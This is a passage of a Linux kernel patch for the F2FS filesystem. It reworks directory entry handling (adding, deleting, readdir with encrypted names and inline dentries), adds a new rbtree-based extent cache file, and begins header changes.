- goto fail; + f2fs_wait_on_page_writeback(dentry_page, DATA); - wait_on_page_writeback(dentry_page); + if (inode) { + down_write(&F2FS_I(inode)->i_sem); + page = init_inode_metadata(inode, dir, &new_name, NULL); + if (IS_ERR(page)) { + err = PTR_ERR(page); + goto fail; + } + if (f2fs_encrypted_inode(dir)) + file_set_enc_name(inode); + } + + make_dentry_ptr(NULL, &d, (void *)dentry_blk, 1); + f2fs_update_dentry(ino, mode, &d, &new_name, dentry_hash, bit_pos); - de = &dentry_blk->dentry[bit_pos]; - de->hash_code = dentry_hash; - de->name_len = cpu_to_le16(namelen); - memcpy(dentry_blk->filename[bit_pos], name->name, name->len); - de->ino = cpu_to_le32(inode->i_ino); - set_de_type(de, inode); - for (i = 0; i < slots; i++) - test_and_set_bit_le(bit_pos + i, &dentry_blk->dentry_bitmap); set_page_dirty(dentry_page); - update_parent_metadata(dir, inode, current_depth); + if (inode) { + /* we don't need to mark_inode_dirty now */ + F2FS_I(inode)->i_pino = dir->i_ino; + update_inode(inode, page); + f2fs_put_page(page, 1); + } - /* update parent inode number before releasing dentry page */ - F2FS_I(inode)->i_pino = dir->i_ino; + update_parent_metadata(dir, inode, current_depth); fail: + if (inode) + up_write(&F2FS_I(inode)->i_sem); + + if (is_inode_flag_set(F2FS_I(dir), FI_UPDATE_DIR)) { + update_inode_page(dir); + clear_inode_flag(F2FS_I(dir), FI_UPDATE_DIR); + } kunmap(dentry_page); f2fs_put_page(dentry_page, 1); +out: + f2fs_fname_free_filename(&fname); return err; } +int f2fs_do_tmpfile(struct inode *inode, struct inode *dir) +{ + struct page *page; + int err = 0; + + down_write(&F2FS_I(inode)->i_sem); + page = init_inode_metadata(inode, dir, NULL, NULL); + if (IS_ERR(page)) { + err = PTR_ERR(page); + goto fail; + } + /* we don't need to mark_inode_dirty now */ + update_inode(inode, page); + f2fs_put_page(page, 1); + + clear_inode_flag(F2FS_I(inode), FI_NEW_INODE); +fail: + up_write(&F2FS_I(inode)->i_sem); + return err; +} + +void f2fs_drop_nlink(struct inode *dir, struct inode *inode, struct page *page) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(dir); + + down_write(&F2FS_I(inode)->i_sem); + + if (S_ISDIR(inode->i_mode)) { + drop_nlink(dir); + if (page) + update_inode(dir, page); + else + update_inode_page(dir); + } + inode->i_ctime = CURRENT_TIME; + + drop_nlink(inode); + if (S_ISDIR(inode->i_mode)) { + drop_nlink(inode); + i_size_write(inode, 0); + } + up_write(&F2FS_I(inode)->i_sem); + update_inode_page(inode); + + if (inode->i_nlink == 0) + add_orphan_inode(sbi, inode->i_ino); + else + release_orphan_inode(sbi); +} + /* - * It only removes the dentry from the dentry page,corresponding name + * It only removes the dentry from the dentry page, corresponding name * entry in name page does not need to be touched during deletion. */ void f2fs_delete_entry(struct f2fs_dir_entry *dentry, struct page *page, - struct inode *inode) + struct inode *dir, struct inode *inode) { struct f2fs_dentry_block *dentry_blk; unsigned int bit_pos; - struct address_space *mapping = page->mapping; - struct inode *dir = mapping->host; - struct f2fs_sb_info *sbi = F2FS_SB(dir->i_sb); int slots = GET_DENTRY_SLOTS(le16_to_cpu(dentry->name_len)); - void *kaddr = page_address(page); int i; + if (f2fs_has_inline_dentry(dir)) + return f2fs_delete_inline_entry(dentry, page, dir, inode); + lock_page(page); - wait_on_page_writeback(page); + f2fs_wait_on_page_writeback(page, DATA); - dentry_blk = (struct f2fs_dentry_block *)kaddr; - bit_pos = dentry - (struct f2fs_dir_entry *)dentry_blk->dentry; + dentry_blk = page_address(page); + bit_pos = dentry - dentry_blk->dentry; for (i = 0; i < slots; i++) test_and_clear_bit_le(bit_pos + i, &dentry_blk->dentry_bitmap); @@ -524,32 +717,15 @@ void f2fs_delete_entry(struct f2fs_dir_entry *dentry, struct page *page, dir->i_ctime = dir->i_mtime = CURRENT_TIME; - if (inode && S_ISDIR(inode->i_mode)) { - drop_nlink(dir); - update_inode_page(dir); - } else { - mark_inode_dirty(dir); - } - - if (inode) { - inode->i_ctime = CURRENT_TIME; - drop_nlink(inode); - if (S_ISDIR(inode->i_mode)) { - drop_nlink(inode); - i_size_write(inode, 0); - } - update_inode_page(inode); + if (inode) + f2fs_drop_nlink(dir, inode, NULL); - if (inode->i_nlink == 0) - add_orphan_inode(sbi, inode->i_ino); - } - - if (bit_pos == NR_DENTRY_IN_BLOCK) { - truncate_hole(dir, page->index, page->index + 1); + if (bit_pos == NR_DENTRY_IN_BLOCK && + !truncate_hole(dir, page->index, page->index + 1)) { clear_page_dirty_for_io(page); + ClearPagePrivate(page); ClearPageUptodate(page); - dec_page_count(sbi, F2FS_DIRTY_DENTS); - inode_dec_dirty_dents(dir); + inode_dec_dirty_pages(dir); } f2fs_put_page(page, 1); } @@ -559,12 +735,14 @@ bool f2fs_empty_dir(struct inode *dir) unsigned long bidx; struct page *dentry_page; unsigned int bit_pos; - struct f2fs_dentry_block *dentry_blk; + struct f2fs_dentry_block *dentry_blk; unsigned long nblock = dir_blocks(dir); + if (f2fs_has_inline_dentry(dir)) + return f2fs_empty_inline_dir(dir); + for (bidx = 0; bidx < nblock; bidx++) { - void *kaddr; - dentry_page = get_lock_data_page(dir, bidx); + dentry_page = get_lock_data_page(dir, bidx, false); if (IS_ERR(dentry_page)) { if (PTR_ERR(dentry_page) == -ENOENT) continue; @@ -572,8 +750,7 @@ bool f2fs_empty_dir(struct inode *dir) return false; } - kaddr = kmap_atomic(dentry_page); - dentry_blk = (struct f2fs_dentry_block *)kaddr; + dentry_blk = kmap_atomic(dentry_page); if (bidx == 0) bit_pos = 2; else @@ -581,7 +758,7 @@ bool f2fs_empty_dir(struct inode *dir) bit_pos = find_next_bit_le(&dentry_blk->dentry_bitmap, NR_DENTRY_IN_BLOCK, bit_pos); - kunmap_atomic(kaddr); + kunmap_atomic(dentry_blk); f2fs_put_page(dentry_page, 1); @@ -591,69 +768,128 @@ bool f2fs_empty_dir(struct inode *dir) return true; } +bool f2fs_fill_dentries(struct file *file, void *dirent, filldir_t filldir, + struct f2fs_dentry_ptr *d, unsigned int n, unsigned int bit_pos, + struct f2fs_str *fstr) +{ + unsigned int start_bit_pos = bit_pos; + unsigned char d_type; + struct f2fs_dir_entry *de = NULL; + struct f2fs_str de_name = FSTR_INIT(NULL, 0); + unsigned char *types = f2fs_filetype_table; + int over; + + while (bit_pos < d->max) { + d_type = DT_UNKNOWN; + bit_pos = find_next_bit_le(d->bitmap, d->max, bit_pos); + if (bit_pos >= d->max) + break; + + de = &d->dentry[bit_pos]; + + if (types && de->file_type < F2FS_FT_MAX) + d_type = types[de->file_type]; + + de_name.name = d->filename[bit_pos]; + de_name.len = le16_to_cpu(de->name_len); + + if (f2fs_encrypted_inode(d->inode)) { + int save_len = fstr->len; + int ret; + + de_name.name = kmalloc(de_name.len, GFP_NOFS); + if (!de_name.name) + return false; + + memcpy(de_name.name, d->filename[bit_pos], de_name.len); + + ret = f2fs_fname_disk_to_usr(d->inode, &de->hash_code, + &de_name, fstr); + kfree(de_name.name); + if (ret < 0) + return true; + + de_name = *fstr; + fstr->len = save_len; + } + + over = filldir(dirent, de_name.name, de_name.len, + (n * d->max) + bit_pos, + le32_to_cpu(de->ino), d_type); + if (over) { + file->f_pos += bit_pos - start_bit_pos; + return true; + } + + bit_pos += GET_DENTRY_SLOTS(le16_to_cpu(de->name_len)); + } + return false; +} + static int f2fs_readdir(struct file *file, void *dirent, filldir_t filldir) { unsigned long pos = file->f_pos; + unsigned int bit_pos = 0; struct inode *inode = file_inode(file); unsigned long npages = dir_blocks(inode); - unsigned char *types = NULL; - unsigned int bit_pos = 0, start_bit_pos = 0; - int over = 0; struct f2fs_dentry_block *dentry_blk = NULL; - struct f2fs_dir_entry *de = NULL; struct page *dentry_page = NULL; + struct file_ra_state *ra = &file->f_ra; + struct f2fs_dentry_ptr d; + struct f2fs_str fstr = FSTR_INIT(NULL, 0); unsigned int n = 0; - unsigned char d_type = DT_UNKNOWN; - int slots; + int err = 0; + + if (f2fs_encrypted_inode(inode)) { + err = f2fs_get_encryption_info(inode); + if (err) + return err; + + err = f2fs_fname_crypto_alloc_buffer(inode, F2FS_NAME_LEN, + &fstr); + if (err < 0) + return err; + } + + if (f2fs_has_inline_dentry(inode)) { + err = f2fs_read_inline_dir(file, dirent, filldir, &fstr); + goto out; + } - types = f2fs_filetype_table; bit_pos = (pos % NR_DENTRY_IN_BLOCK); n = (pos / NR_DENTRY_IN_BLOCK); - for ( ; n < npages; n++) { - dentry_page = get_lock_data_page(inode, n); + /* readahead for multi pages of dir */ + if (npages - n > 1 && !ra_has_index(ra, n)) + page_cache_sync_readahead(inode->i_mapping, ra, file, n, + min(npages - n, (pgoff_t)MAX_DIR_RA_PAGES)); + + for (; n < npages; n++) { + dentry_page = get_lock_data_page(inode, n, false); if (IS_ERR(dentry_page)) continue; - start_bit_pos = bit_pos; dentry_blk = kmap(dentry_page); - while (bit_pos < NR_DENTRY_IN_BLOCK) { - d_type = DT_UNKNOWN; - bit_pos = find_next_bit_le(&dentry_blk->dentry_bitmap, - NR_DENTRY_IN_BLOCK, - bit_pos); - if (bit_pos >= NR_DENTRY_IN_BLOCK) - break; - - de = &dentry_blk->dentry[bit_pos]; - if (types && de->file_type < F2FS_FT_MAX) - d_type = types[de->file_type]; - - over = filldir(dirent, - dentry_blk->filename[bit_pos], - le16_to_cpu(de->name_len), - (n * NR_DENTRY_IN_BLOCK) + bit_pos, - le32_to_cpu(de->ino), d_type); - if (over) { - file->f_pos += bit_pos - start_bit_pos; - goto success; - } - slots = GET_DENTRY_SLOTS(le16_to_cpu(de->name_len)); - bit_pos += slots; - } + + make_dentry_ptr(inode, &d, (void *)dentry_blk, 1); + + if (f2fs_fill_dentries(file, dirent, filldir, &d, n, bit_pos, &fstr)) + goto stop; + bit_pos = 0; file->f_pos = (n + 1) * NR_DENTRY_IN_BLOCK; kunmap(dentry_page); f2fs_put_page(dentry_page, 1); dentry_page = NULL; } -success: +stop: if (dentry_page && !IS_ERR(dentry_page)) { kunmap(dentry_page); f2fs_put_page(dentry_page, 1); } - - return 0; +out: + f2fs_fname_crypto_free_buffer(&fstr); + return err; } const struct file_operations f2fs_dir_operations = { @@ -662,4 +898,7 @@ const struct file_operations f2fs_dir_operations = { .readdir = f2fs_readdir, .fsync = f2fs_sync_file, .unlocked_ioctl = f2fs_ioctl, +#ifdef CONFIG_COMPAT + .compat_ioctl = f2fs_compat_ioctl, +#endif }; diff --git a/fs/f2fs/extent_cache.c b/fs/f2fs/extent_cache.c new file mode 100644 index 0000000000000..7ddba812e11b7 --- /dev/null +++ b/fs/f2fs/extent_cache.c @@ -0,0 +1,748 @@ +/* + * f2fs extent cache support + * + * Copyright (c) 2015 Motorola Mobility + * Copyright (c) 2015 Samsung Electronics + * Authors: Jaegeuk Kim + * Chao Yu + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + */ + +#include +#include + +#include "f2fs.h" +#include "node.h" +#include + +static struct kmem_cache *extent_tree_slab; +static struct kmem_cache *extent_node_slab; + +static struct extent_node *__attach_extent_node(struct f2fs_sb_info *sbi, + struct extent_tree *et, struct extent_info *ei, + struct rb_node *parent, struct rb_node **p) +{ + struct extent_node *en; + + en = kmem_cache_alloc(extent_node_slab, GFP_ATOMIC); + if (!en) + return NULL; + + en->ei = *ei; + INIT_LIST_HEAD(&en->list); + + rb_link_node(&en->rb_node, parent, p); + rb_insert_color(&en->rb_node, &et->root); + et->count++; + atomic_inc(&sbi->total_ext_node); + return en; +} + +static void __detach_extent_node(struct f2fs_sb_info *sbi, + struct extent_tree *et, struct extent_node *en) +{ + rb_erase(&en->rb_node, &et->root); + et->count--; + atomic_dec(&sbi->total_ext_node); + + if (et->cached_en == en) + et->cached_en = NULL; +} + +static struct extent_tree *__grab_extent_tree(struct inode *inode) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + struct extent_tree *et; + nid_t ino = inode->i_ino; + + down_write(&sbi->extent_tree_lock); + et = radix_tree_lookup(&sbi->extent_tree_root, ino); + if (!et) { + et = f2fs_kmem_cache_alloc(extent_tree_slab, GFP_NOFS); + f2fs_radix_tree_insert(&sbi->extent_tree_root, ino, et); + memset(et, 0, sizeof(struct extent_tree)); + et->ino = ino; + et->root = RB_ROOT; + et->cached_en = NULL; + rwlock_init(&et->lock); + atomic_set(&et->refcount, 0); + et->count = 0; + sbi->total_ext_tree++; + } + atomic_inc(&et->refcount); + up_write(&sbi->extent_tree_lock); + + /* never died until evict_inode */ + F2FS_I(inode)->extent_tree = et; + + return et; +} + +static struct extent_node *__lookup_extent_tree(struct f2fs_sb_info *sbi, + struct extent_tree *et, unsigned int fofs) +{ + struct rb_node *node = et->root.rb_node; + struct extent_node *en = et->cached_en; + + if (en) { + struct extent_info *cei = &en->ei; + + if (cei->fofs <= fofs && cei->fofs + cei->len > fofs) { + stat_inc_cached_node_hit(sbi); + return en; + } + } + + while (node) { + en = rb_entry(node, struct extent_node, rb_node); + + if (fofs < en->ei.fofs) { + node = node->rb_left; + } else if (fofs >= en->ei.fofs + en->ei.len) { + node = node->rb_right; + } else { + stat_inc_rbtree_node_hit(sbi); + return en; + } + } + return NULL; +} + +static struct extent_node *__init_extent_tree(struct f2fs_sb_info *sbi, + struct extent_tree *et, struct extent_info *ei) +{ + struct rb_node **p = &et->root.rb_node; + struct extent_node *en; + + en = __attach_extent_node(sbi, et, ei, NULL, p); + if (!en) + return NULL; + + et->largest = en->ei; + et->cached_en = en; + return en; +} + +static unsigned int __free_extent_tree(struct f2fs_sb_info *sbi, + struct extent_tree *et, bool free_all) +{ + struct rb_node *node, *next; + struct extent_node *en; + unsigned int count = et->count; + + node = rb_first(&et->root); + while (node) { + next = rb_next(node); + en = rb_entry(node, struct extent_node, rb_node); + + if (free_all) { + spin_lock(&sbi->extent_lock); + if (!list_empty(&en->list)) + list_del_init(&en->list); + spin_unlock(&sbi->extent_lock); + } + + if (free_all || list_empty(&en->list)) { + __detach_extent_node(sbi, et, en); + kmem_cache_free(extent_node_slab, en); + } + node = next; + } + + return count - et->count; +} + +static void __drop_largest_extent(struct inode *inode, + pgoff_t fofs, unsigned int len) +{ + struct extent_info *largest = &F2FS_I(inode)->extent_tree->largest; + + if (fofs < largest->fofs + largest->len && fofs + len > largest->fofs) + largest->len = 0; +} + +void f2fs_drop_largest_extent(struct inode *inode, pgoff_t fofs) +{ + if (!f2fs_may_extent_tree(inode)) + return; + + __drop_largest_extent(inode, fofs, 1); +} + +void f2fs_init_extent_tree(struct inode *inode, struct f2fs_extent *i_ext) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + struct extent_tree *et; + struct extent_node *en; + struct extent_info ei; + + if (!f2fs_may_extent_tree(inode)) + return; + + et = __grab_extent_tree(inode); + + if (!i_ext || le32_to_cpu(i_ext->len) < F2FS_MIN_EXTENT_LEN) + return; + + set_extent_info(&ei, le32_to_cpu(i_ext->fofs), + le32_to_cpu(i_ext->blk), le32_to_cpu(i_ext->len)); + + write_lock(&et->lock); + if (et->count) + goto out; + + en = __init_extent_tree(sbi, et, &ei); + if (en) { + spin_lock(&sbi->extent_lock); + list_add_tail(&en->list, &sbi->extent_list); + spin_unlock(&sbi->extent_lock); + } +out: + write_unlock(&et->lock); +} + +static bool f2fs_lookup_extent_tree(struct inode *inode, pgoff_t pgofs, + struct extent_info *ei) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + struct extent_tree *et = F2FS_I(inode)->extent_tree; + struct extent_node *en; + bool ret = false; + + f2fs_bug_on(sbi, !et); + + trace_f2fs_lookup_extent_tree_start(inode, pgofs); + + read_lock(&et->lock); + + if (et->largest.fofs <= pgofs && + et->largest.fofs + et->largest.len > pgofs) { + *ei = et->largest; + ret = true; + stat_inc_largest_node_hit(sbi); + goto out; + } + + en = __lookup_extent_tree(sbi, et, pgofs); + if (en) { + *ei = en->ei; + spin_lock(&sbi->extent_lock); + if (!list_empty(&en->list)) + list_move_tail(&en->list, &sbi->extent_list); + et->cached_en = en; + spin_unlock(&sbi->extent_lock); + ret = true; + } +out: + stat_inc_total_hit(sbi); + read_unlock(&et->lock); + + trace_f2fs_lookup_extent_tree_end(inode, pgofs, ei); + return ret; +} + + +/* + * lookup extent at @fofs, if hit, return the extent + * if not, return NULL and + * @prev_ex: extent before fofs + * @next_ex: extent after fofs + * @insert_p: insert point for new extent at fofs + * in order to simpfy the insertion after. + * tree must stay unchanged between lookup and insertion. + */ +static struct extent_node *__lookup_extent_tree_ret(struct extent_tree *et, + unsigned int fofs, + struct extent_node **prev_ex, + struct extent_node **next_ex, + struct rb_node ***insert_p, + struct rb_node **insert_parent) +{ + struct rb_node **pnode = &et->root.rb_node; + struct rb_node *parent = NULL, *tmp_node; + struct extent_node *en = et->cached_en; + + *insert_p = NULL; + *insert_parent = NULL; + *prev_ex = NULL; + *next_ex = NULL; + + if (RB_EMPTY_ROOT(&et->root)) + return NULL; + + if (en) { + struct extent_info *cei = &en->ei; + + if (cei->fofs <= fofs && cei->fofs + cei->len > fofs) + goto lookup_neighbors; + } + + while (*pnode) { + parent = *pnode; + en = rb_entry(*pnode, struct extent_node, rb_node); + + if (fofs < en->ei.fofs) + pnode = &(*pnode)->rb_left; + else if (fofs >= en->ei.fofs + en->ei.len) + pnode = &(*pnode)->rb_right; + else + goto lookup_neighbors; + } + + *insert_p = pnode; + *insert_parent = parent; + + en = rb_entry(parent, struct extent_node, rb_node); + tmp_node = parent; + if (parent && fofs > en->ei.fofs) + tmp_node = rb_next(parent); + *next_ex = tmp_node ? + rb_entry(tmp_node, struct extent_node, rb_node) : NULL; + + tmp_node = parent; + if (parent && fofs < en->ei.fofs) + tmp_node = rb_prev(parent); + *prev_ex = tmp_node ? + rb_entry(tmp_node, struct extent_node, rb_node) : NULL; + return NULL; + +lookup_neighbors: + if (fofs == en->ei.fofs) { + /* lookup prev node for merging backward later */ + tmp_node = rb_prev(&en->rb_node); + *prev_ex = tmp_node ? + rb_entry(tmp_node, struct extent_node, rb_node) : NULL; + } + if (fofs == en->ei.fofs + en->ei.len - 1) { + /* lookup next node for merging frontward later */ + tmp_node = rb_next(&en->rb_node); + *next_ex = tmp_node ? + rb_entry(tmp_node, struct extent_node, rb_node) : NULL; + } + return en; +} + +static struct extent_node *__try_merge_extent_node(struct f2fs_sb_info *sbi, + struct extent_tree *et, struct extent_info *ei, + struct extent_node **den, + struct extent_node *prev_ex, + struct extent_node *next_ex) +{ + struct extent_node *en = NULL; + + if (prev_ex && __is_back_mergeable(ei, &prev_ex->ei)) { + prev_ex->ei.len += ei->len; + ei = &prev_ex->ei; + en = prev_ex; + } + + if (next_ex && __is_front_mergeable(ei, &next_ex->ei)) { + if (en) { + __detach_extent_node(sbi, et, prev_ex); + *den = prev_ex; + } + next_ex->ei.fofs = ei->fofs; + next_ex->ei.blk = ei->blk; + next_ex->ei.len += ei->len; + en = next_ex; + } + + if (en) { + __try_update_largest_extent(et, en); + et->cached_en = en; + } + return en; +} + +static struct extent_node *__insert_extent_tree(struct f2fs_sb_info *sbi, + struct extent_tree *et, struct extent_info *ei, + struct rb_node **insert_p, + struct rb_node *insert_parent) +{ + struct rb_node **p = &et->root.rb_node; + struct rb_node *parent = NULL; + struct extent_node *en = NULL; + + if (insert_p && insert_parent) { + parent = insert_parent; + p = insert_p; + goto do_insert; + } + + while (*p) { + parent = *p; + en = rb_entry(parent, struct extent_node, rb_node); + + if (ei->fofs < en->ei.fofs) + p = &(*p)->rb_left; + else if (ei->fofs >= en->ei.fofs + en->ei.len) + p = &(*p)->rb_right; + else + f2fs_bug_on(sbi, 1); + } +do_insert: + en = __attach_extent_node(sbi, et, ei, parent, p); + if (!en) + return NULL; + + __try_update_largest_extent(et, en); + et->cached_en = en; + return en; +} + +static unsigned int f2fs_update_extent_tree_range(struct inode *inode, + pgoff_t fofs, block_t blkaddr, unsigned int len) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + struct extent_tree *et = F2FS_I(inode)->extent_tree; + struct extent_node *en = NULL, *en1 = NULL; + struct extent_node *prev_en = NULL, *next_en = NULL; + struct extent_info ei, dei, prev; + struct rb_node **insert_p = NULL, *insert_parent = NULL; + unsigned int end = fofs + len; + unsigned int pos = (unsigned int)fofs; + + if (!et) + return false; + + trace_f2fs_update_extent_tree_range(inode, fofs, blkaddr, len); + + write_lock(&et->lock); + + if (is_inode_flag_set(F2FS_I(inode), FI_NO_EXTENT)) { + write_unlock(&et->lock); + return false; + } + + prev = et->largest; + dei.len = 0; + + /* + * drop largest extent before lookup, in case it's already + * been shrunk from extent tree + */ + __drop_largest_extent(inode, fofs, len); + + /* 1. lookup first extent node in range [fofs, fofs + len - 1] */ + en = __lookup_extent_tree_ret(et, fofs, &prev_en, &next_en, + &insert_p, &insert_parent); + if (!en) + en = next_en; + + /* 2. invlidate all extent nodes in range [fofs, fofs + len - 1] */ + while (en && en->ei.fofs < end) { + unsigned int org_end; + int parts = 0; /* # of parts current extent split into */ + + next_en = en1 = NULL; + + dei = en->ei; + org_end = dei.fofs + dei.len; + f2fs_bug_on(sbi, pos >= org_end); + + if (pos > dei.fofs && pos - dei.fofs >= F2FS_MIN_EXTENT_LEN) { + en->ei.len = pos - en->ei.fofs; + prev_en = en; + parts = 1; + } + + if (end < org_end && org_end - end >= F2FS_MIN_EXTENT_LEN) { + if (parts) { + set_extent_info(&ei, end, + end - dei.fofs + dei.blk, + org_end - end); + en1 = __insert_extent_tree(sbi, et, &ei, + NULL, NULL); + next_en = en1; + } else { + en->ei.fofs = end; + en->ei.blk += end - dei.fofs; + en->ei.len -= end - dei.fofs; + next_en = en; + } + parts++; + } + + if (!next_en) { + struct rb_node *node = rb_next(&en->rb_node); + + next_en = node ? + rb_entry(node, struct extent_node, rb_node) + : NULL; + } + + if (parts) + __try_update_largest_extent(et, en); + else + __detach_extent_node(sbi, et, en); + + /* + * if original extent is split into zero or two parts, extent + * tree has been altered by deletion or insertion, therefore + * invalidate pointers regard to tree. + */ + if (parts != 1) { + insert_p = NULL; + insert_parent = NULL; + } + + /* update in global extent list */ + spin_lock(&sbi->extent_lock); + if (!parts && !list_empty(&en->list)) + list_del(&en->list); + if (en1) + list_add_tail(&en1->list, &sbi->extent_list); + spin_unlock(&sbi->extent_lock); + + /* release extent node */ + if (!parts) + kmem_cache_free(extent_node_slab, en); + + en = next_en; + } + + /* 3. update extent in extent cache */ + if (blkaddr) { + struct extent_node *den = NULL; + + set_extent_info(&ei, fofs, blkaddr, len); + en1 = __try_merge_extent_node(sbi, et, &ei, &den, + prev_en, next_en); + if (!en1) + en1 = __insert_extent_tree(sbi, et, &ei, + insert_p, insert_parent); + + /* give up extent_cache, if split and small updates happen */ + if (dei.len >= 1 && + prev.len < F2FS_MIN_EXTENT_LEN && + et->largest.len < F2FS_MIN_EXTENT_LEN) { + et->largest.len = 0; + set_inode_flag(F2FS_I(inode), FI_NO_EXTENT); + } + + spin_lock(&sbi->extent_lock); + if (en1) { + if (list_empty(&en1->list)) + list_add_tail(&en1->list, &sbi->extent_list); + else + list_move_tail(&en1->list, &sbi->extent_list); + } + if (den && !list_empty(&den->list)) + list_del(&den->list); + spin_unlock(&sbi->extent_lock); + + if (den) + kmem_cache_free(extent_node_slab, den); + } + + if (is_inode_flag_set(F2FS_I(inode), FI_NO_EXTENT)) + __free_extent_tree(sbi, et, true); + + write_unlock(&et->lock); + + return !__is_extent_same(&prev, &et->largest); +} + +unsigned int f2fs_shrink_extent_tree(struct f2fs_sb_info *sbi, int nr_shrink) +{ + struct extent_tree *treevec[EXT_TREE_VEC_SIZE]; + struct extent_node *en, *tmp; + unsigned long ino = F2FS_ROOT_INO(sbi); + struct radix_tree_root *root = &sbi->extent_tree_root; + unsigned int found; + unsigned int node_cnt = 0, tree_cnt = 0; + int remained; + + if (!test_opt(sbi, EXTENT_CACHE)) + return 0; + + if (!down_write_trylock(&sbi->extent_tree_lock)) + goto out; + + /* 1. remove unreferenced extent tree */ + while ((found = radix_tree_gang_lookup(root, + (void **)treevec, ino, EXT_TREE_VEC_SIZE))) { + unsigned i; + + ino = treevec[found - 1]->ino + 1; + for (i = 0; i < found; i++) { + struct extent_tree *et = treevec[i]; + + if (!atomic_read(&et->refcount)) { + write_lock(&et->lock); + node_cnt += __free_extent_tree(sbi, et, true); + write_unlock(&et->lock); + + radix_tree_delete(root, et->ino); + kmem_cache_free(extent_tree_slab, et); + sbi->total_ext_tree--; + tree_cnt++; + + if (node_cnt + tree_cnt >= nr_shrink) + goto unlock_out; + } + } + } + up_write(&sbi->extent_tree_lock); + + /* 2. remove LRU extent entries */ + if (!down_write_trylock(&sbi->extent_tree_lock)) + goto out; + + remained = nr_shrink - (node_cnt + tree_cnt); + + spin_lock(&sbi->extent_lock); + list_for_each_entry_safe(en, tmp, &sbi->extent_list, list) { + if (!remained--) + break; + list_del_init(&en->list); + } + spin_unlock(&sbi->extent_lock); + + /* + * reset ino for searching victims from beginning of global extent tree. + */ + ino = F2FS_ROOT_INO(sbi); + + while ((found = radix_tree_gang_lookup(root, + (void **)treevec, ino, EXT_TREE_VEC_SIZE))) { + unsigned i; + + ino = treevec[found - 1]->ino + 1; + for (i = 0; i < found; i++) { + struct extent_tree *et = treevec[i]; + + write_lock(&et->lock); + node_cnt += __free_extent_tree(sbi, et, false); + write_unlock(&et->lock); + + if (node_cnt + tree_cnt >= nr_shrink) + goto unlock_out; + } + } +unlock_out: + up_write(&sbi->extent_tree_lock); +out: + trace_f2fs_shrink_extent_tree(sbi, node_cnt, tree_cnt); + + return node_cnt + tree_cnt; +} + +unsigned int f2fs_destroy_extent_node(struct inode *inode) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + struct extent_tree *et = F2FS_I(inode)->extent_tree; + unsigned int node_cnt = 0; + + if (!et) + return 0; + + write_lock(&et->lock); + node_cnt = __free_extent_tree(sbi, et, true); + write_unlock(&et->lock); + + return node_cnt; +} + +void f2fs_destroy_extent_tree(struct inode *inode) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + struct extent_tree *et = F2FS_I(inode)->extent_tree; + unsigned int node_cnt = 0; + + if (!et) + return; + + if (inode->i_nlink && !is_bad_inode(inode) && et->count) { + atomic_dec(&et->refcount); + return; + } + + /* free all extent info belong to this extent tree */ + node_cnt = f2fs_destroy_extent_node(inode); + + /* delete extent tree entry in radix tree */ + down_write(&sbi->extent_tree_lock); + atomic_dec(&et->refcount); + f2fs_bug_on(sbi, atomic_read(&et->refcount) || et->count); + radix_tree_delete(&sbi->extent_tree_root, inode->i_ino); + kmem_cache_free(extent_tree_slab, et); + sbi->total_ext_tree--; + up_write(&sbi->extent_tree_lock); + + F2FS_I(inode)->extent_tree = NULL; + + trace_f2fs_destroy_extent_tree(inode, node_cnt); +} + +bool f2fs_lookup_extent_cache(struct inode *inode, pgoff_t pgofs, + struct extent_info *ei) +{ + if (!f2fs_may_extent_tree(inode)) + return false; + + return f2fs_lookup_extent_tree(inode, pgofs, ei); +} + +void f2fs_update_extent_cache(struct dnode_of_data *dn) +{ + struct f2fs_inode_info *fi = F2FS_I(dn->inode); + pgoff_t fofs; + + if (!f2fs_may_extent_tree(dn->inode)) + return; + + f2fs_bug_on(F2FS_I_SB(dn->inode), dn->data_blkaddr == NEW_ADDR); + + + fofs = start_bidx_of_node(ofs_of_node(dn->node_page), fi) + + dn->ofs_in_node; + + if (f2fs_update_extent_tree_range(dn->inode, fofs, dn->data_blkaddr, 1)) + sync_inode_page(dn); +} + +void f2fs_update_extent_cache_range(struct dnode_of_data *dn, + pgoff_t fofs, block_t blkaddr, unsigned int len) + +{ + if (!f2fs_may_extent_tree(dn->inode)) + return; + + if (f2fs_update_extent_tree_range(dn->inode, fofs, blkaddr, len)) + sync_inode_page(dn); +} + +void init_extent_cache_info(struct f2fs_sb_info *sbi) +{ + INIT_RADIX_TREE(&sbi->extent_tree_root, GFP_NOIO); + init_rwsem(&sbi->extent_tree_lock); + INIT_LIST_HEAD(&sbi->extent_list); + spin_lock_init(&sbi->extent_lock); + sbi->total_ext_tree = 0; + atomic_set(&sbi->total_ext_node, 0); +} + +int __init create_extent_cache(void) +{ + extent_tree_slab = f2fs_kmem_cache_create("f2fs_extent_tree", + sizeof(struct extent_tree)); + if (!extent_tree_slab) + return -ENOMEM; + extent_node_slab = f2fs_kmem_cache_create("f2fs_extent_node", + sizeof(struct extent_node)); + if (!extent_node_slab) { + kmem_cache_destroy(extent_tree_slab); + return -ENOMEM; + } + return 0; +} + +void destroy_extent_cache(void) +{ + kmem_cache_destroy(extent_node_slab); + kmem_cache_destroy(extent_tree_slab); +} diff --git a/fs/f2fs/f2fs.h b/fs/f2fs/f2fs.h index 20aab02f2a427..14580933117c3 100644 --- a/fs/f2fs/f2fs.h +++ b/fs/f2fs/f2fs.h @@ -17,6 +17,24 @@ #include #include #include +#include +#include +#include +#include + +#ifdef CONFIG_F2FS_CHECK_FS +#define f2fs_bug_on(sbi, condition) BUG_ON(condition) +#define f2fs_down_write(x, y) down_write(x) +#else +#define f2fs_bug_on(sbi, condition) \ + do { \ + if (unlikely(condition)) { \ + WARN_ON(1); \ + set_sbi_flag(sbi, SBI_NEED_FSCK); \ + } \ + } while (0) +#define f2fs_down_write(x, y) down_write(x) +#endif /* * For mount options @@ -28,6 +46,14 @@ #define F2FS_MOUNT_XATTR_USER 0x00000010 #define F2FS_MOUNT_POSIX_ACL 0x00000020 #define F2FS_MOUNT_DISABLE_EXT_IDENTIFY 0x00000040 +#define F2FS_MOUNT_INLINE_XATTR 0x00000080 +#define F2FS_MOUNT_INLINE_DATA 0x00000100 +#define 